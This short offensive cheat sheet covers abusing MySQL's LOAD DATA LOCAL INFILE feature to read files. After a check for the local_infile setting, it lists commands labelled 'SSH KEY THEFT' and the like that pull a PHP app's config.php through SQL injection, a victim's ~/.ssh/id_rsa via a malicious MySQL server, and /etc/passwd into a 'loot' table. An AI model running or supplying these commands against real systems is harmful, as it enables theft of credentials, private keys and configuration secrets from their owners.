Check
SHOW VARIABLES LIKE 'local_infile';
Commands
-- WEB ROOT (SQLi on PHP app)
LOAD DATA LOCAL INFILE '/var/www/html/config.php' INTO TABLE loot;
-- SSH KEY THEFT (victim connects to malicious MySQL server)
LOAD DATA LOCAL INFILE '/home/victim/.ssh/id_rsa' INTO TABLE loot;
-- General FILE READ (client-side)
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE loot FIELDS TERMINATED BY '\n';